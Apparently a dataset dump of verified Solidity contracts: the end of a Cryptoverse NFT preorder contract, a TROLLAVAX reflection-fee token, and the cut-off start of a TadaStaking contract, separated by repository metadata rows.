bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint)')) ^
bytes4(keccak256('approve(address,uint)')) ^
bytes4(keccak256('transfer(address,uint)')) ^
bytes4(keccak256('transferFrom(address,address,uint)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint,string)'));
function supportsInterface(bytes4 contractID) external view returns (bool)
{
return ((contractID == InterfaceSignature_ERC165) || (contractID == InterfaceSignature_ERC721));
}
function setMetadataAddress(address contractAddress) public onlyOwner {
erc721Metadata = ERC721Metadata(contractAddress);
}
function _owns(address claimant, uint tokenId) internal view returns (bool) {
return itemIndexToOwner[tokenId] == claimant;
}
function _approvedFor(address claimant, uint tokenId) internal view returns (bool) {
return itemIndexToApproved[tokenId] == claimant;
}
function _approve(uint tokenId, address approved) internal {
itemIndexToApproved[tokenId] = approved;
}
function balanceOf(address owner) public view returns (uint count) {
return ownershipTokenCount[owner];
}
function transfer(address to, uint tokenId) public {
require(to != address(0));
require(_owns(msg.sender, tokenId));
require(!_owns(to, tokenId));
_transfer(msg.sender, to, tokenId);
}
function approve(address to, uint tokenId) external {
require(_owns(msg.sender, tokenId));
_approve(tokenId, to);
Approval(msg.sender, to, tokenId);
}
function transferFrom(address from, address to, uint tokenId) external {
require(to != address(0));
require(to != address(this));
require(_approvedFor(msg.sender, tokenId));
require(_owns(from, tokenId));
_transfer(from, to, tokenId);
}
function totalSupply() public view returns (uint) {
return items.length;
}
function ownerOf(uint tokenId) external view returns (address owner) {
owner = itemIndexToOwner[tokenId];
require(owner != address(0));
}
function _memcpy(uint _dest, uint _src, uint _len) private pure {
for (; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint _stringLength) private pure returns (string) {
var outputString = new string(_stringLength);
uint outputPtr;
uint bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
function tokenMetadata(uint _tokenId, string _preferredTransport) public view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
contract CryptoversePreorder is CryptoversePreorderBonusAssets {
ERC20 public vrc;
ERC20 public vcx;
address public vrcWallet;
address public vcxWallet;
uint public vrcCount;
uint public vcxCount;
uint public weiRaised;
uint public constant minInvest = 100 ether;
uint public constant target = 10000 ether;
uint public constant hardCap = 50000 ether;
uint public startTime = 1519153200;
uint public endTime = startTime + 60 days;
uint public targetTime = 0;
mapping(address => uint) public contributorBalance;
address[] public contributors;
event Purchase(address indexed contributor, uint weiAmount);
function() public payable {
buyTokens(msg.sender);
}
function createSaiLimitedEdition(uint weiAmount, address contributor) private {
createItem(ItemType.SaiHead, ItemModel.M442_1, ItemManufacturer.Satoshipowered, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.SaiBody, ItemModel.M442_1, ItemManufacturer.Satoshipowered, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.SaiEarrings, ItemModel.V1_1, ItemManufacturer.Satoshipowered, ItemRarity.Unique, weiAmount, contributor);
}
function createSaiCollectorsEdition(uint weiAmount, address contributor) private {
createItem(ItemType.SaiHead, ItemModel.V2_1, ItemManufacturer.Satoshipowered, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.SaiBody, ItemModel.V2_1, ItemManufacturer.Satoshipowered, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.SaiEarrings, ItemModel.V1_1, ItemManufacturer.Satoshipowered, ItemRarity.Unique, weiAmount, contributor);
}
function createSaiFoundersEdition(uint weiAmount, address contributor) private {
createItem(ItemType.SaiHead, ItemModel.V1, ItemManufacturer.Satoshipowered, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.SaiBody, ItemModel.V1, ItemManufacturer.Satoshipowered, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.SaiEarrings, ItemModel.V1_1, ItemManufacturer.Satoshipowered, ItemRarity.Unique, weiAmount, contributor);
}
function createVRCBox(ItemModel model, uint weiAmount, address contributor) private {
createItem(ItemType.VRCBox, model, ItemManufacturer.Satoshipowered, ItemRarity.Legendary, weiAmount, contributor);
}
function createVCXVault(uint weiAmount, address contributor) private {
createItem(ItemType.VCXVault, ItemModel.EA, ItemManufacturer.Satoshipowered, ItemRarity.Unique, weiAmount, contributor);
}
function createMechBTC(uint weiAmount, address contributor) private {
createItem(ItemType.MechHead, ItemModel.NC01, ItemManufacturer.BTC, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.MechBody, ItemModel.NC01, ItemManufacturer.BTC, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.MechLegs, ItemModel.NC01, ItemManufacturer.BTC, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.MechRailgun, ItemModel.BG, ItemManufacturer.BTC, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.MechMachineGun, ItemModel.BC, ItemManufacturer.BTC, ItemRarity.Epic, weiAmount, contributor);
createItem(ItemType.MechRocketLauncher, ItemModel.BD, ItemManufacturer.BTC, ItemRarity.Epic, weiAmount, contributor);
}
function createMechVRC(uint weiAmount, address contributor) private {
createItem(ItemType.MechHead, ItemModel.MK1, ItemManufacturer.VRC, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.MechBody, ItemModel.MK1, ItemManufacturer.VRC, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.MechLegs, ItemModel.MK1, ItemManufacturer.VRC, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.MechRailgun, ItemModel.Q3, ItemManufacturer.VRC, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.MechMachineGun, ItemModel.DES1, ItemManufacturer.VRC, ItemRarity.Legendary, weiAmount, contributor);
createItem(ItemType.MechRocketLauncher, ItemModel.DRL, ItemManufacturer.VRC, ItemRarity.Legendary, weiAmount, contributor);
}
function createMechETH(uint weiAmount, address contributor) private {
createItem(ItemType.MechHead, ItemModel.V1, ItemManufacturer.ETH, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.MechBody, ItemModel.V1, ItemManufacturer.ETH, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.MechLegs, ItemModel.V1, ItemManufacturer.ETH, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.MechRailgun, ItemModel.TRFL405, ItemManufacturer.ETH, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.MechMachineGun, ItemModel.PlasmaS, ItemManufacturer.ETH, ItemRarity.Unique, weiAmount, contributor);
createItem(ItemType.MechRocketLauncher, ItemModel.Casper, ItemManufacturer.ETH, ItemRarity.Unique, weiAmount, contributor);
}
function buyTokens(address contributor) public whenNotPaused payable {
require(startTime <= now && now <= endTime);
require(contributor != address(0));
uint weiAmount = msg.value;
require(weiAmount >= minInvest);
weiRaised += weiAmount;
require(weiRaised <= hardCap);
if (weiRaised >= target && targetTime == 0) {
targetTime = now;
endTime = targetTime + 2 weeks;
}
Purchase(contributor, weiAmount);
if (contributorBalance[contributor] == 0) contributors.push(contributor);
contributorBalance[contributor] += weiAmount;
if (weiAmount < 500 ether) {
createSaiLimitedEdition(weiAmount, contributor);
createVRCBox(ItemModel.Kilo, weiAmount, contributor);
createVCXVault(weiAmount, contributor);
} else if (weiAmount < 1000 ether) {
createSaiLimitedEdition(weiAmount, contributor);
createMechBTC(weiAmount, contributor);
createVRCBox(ItemModel.Mega, weiAmount, contributor);
createVCXVault(weiAmount, contributor);
} else if (weiAmount < 2500 ether) {
createSaiCollectorsEdition(weiAmount, contributor);
createMechBTC(weiAmount, contributor);
createMechVRC(weiAmount, contributor);
createVRCBox(ItemModel.Giga, weiAmount, contributor);
createVCXVault(weiAmount, contributor);
} else if (weiAmount < 5000 ether) {
createSaiCollectorsEdition(weiAmount, contributor);
createMechBTC(weiAmount, contributor);
createMechVRC(weiAmount, contributor);
createVRCBox(ItemModel.Tera, weiAmount, contributor);
createVCXVault(weiAmount, contributor);
} else if (weiAmount < 9000 ether) {
createSaiFoundersEdition(weiAmount, contributor);
createMechBTC(weiAmount, contributor);
createMechVRC(weiAmount, contributor);
createVRCBox(ItemModel.Peta, weiAmount, contributor);
createVCXVault(weiAmount, contributor);
} else if (weiAmount >= 9000 ether) {
createSaiFoundersEdition(weiAmount, contributor);
createMechBTC(weiAmount, contributor);
createMechVRC(weiAmount, contributor);
createMechETH(weiAmount, contributor);
createVRCBox(ItemModel.Exa, weiAmount, contributor);
createVCXVault(weiAmount, contributor);
}
}
function withdrawal(uint amount) public onlyOwner {
owner.transfer(amount);
}
function contributorsCount() public view returns (uint){
return contributors.length;
}
function setVRC(address _vrc, address _vrcWallet, uint _vrcCount) public onlyOwner {
require(_vrc != address(0));
require(_vrcWallet != address(0));
require(_vrcCount > 0);
vrc = ERC20(_vrc);
vrcWallet = _vrcWallet;
vrcCount = _vrcCount;
}
function setVCX(address _vcx, address _vcxWallet, uint _vcxCount) public onlyOwner {
require(_vcx != address(0));
require(_vcxWallet != address(0));
require(_vcxCount > 0);
vcx = ERC20(_vcx);
vcxWallet = _vcxWallet;
vcxCount = _vcxCount;
}
function getBoxes(address contributor) public view returns (uint[] boxes) {
uint tokenCount = balanceOf(contributor);
if (tokenCount == 0) {
return new uint[](0);
} else {
uint[] memory _boxes = new uint[](tokenCount);
uint totalItems = totalSupply();
uint n = 0;
for (uint itemId = 0; itemId < totalItems; itemId++) {
if (itemIndexToOwner[itemId] == contributor && isBoxItemId(itemId)) {
_boxes[n++] = itemId;
}
}
boxes = new uint[](n);
for (uint i = 0; i < n; i++) {
boxes[i] = _boxes[i];
}
return boxes;
}
}
function isBox(Item item) private pure returns (bool){
return item.typeId == ItemType.VRCBox || item.typeId == ItemType.VCXVault;
}
function isBoxItemId(uint itemId) public view returns (bool){
return isBox(items[itemId]);
}
function openBoxes(uint[] itemIds) public {
for (uint i = 0; i < itemIds.length; i++) {
uint itemId = itemIds[i];
Item storage item = items[itemId];
require(isBox(item));
transfer(this, itemId);
if (item.typeId == ItemType.VRCBox) {
vrc.transferFrom(vrcWallet, msg.sender, item.amount * vrcCount / weiRaised);
} else {
vcx.transferFrom(vcxWallet, msg.sender, item.amount * vcxCount / weiRaised);
}
}
}
}
| 167,380 | 12,712 |
f010cbeac40d544410f1f0810f1d7fbdda61bbaffd2a2236bacdf652f3a216c5
| 18,833 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f1/f175851c7437bf8446685EfE12a9b016F1b0e3d1_TROLLAVAX.sol
| 4,190 | 15,802 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TROLLAVAX is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'TROLLAVAX';
string private _symbol = 'TROLLAVAX';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(11);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 80,879 | 12,713 |
6bdec13f73b6db02be8d4fa60009a27a0475b00c54d24cd0a0b7e14e9a9e336a
| 27,206 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/67/67f24d79b4d539cdaa258b3aae72d0352a741b7c_TadaStaking.sol
| 4,139 | 16,525 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
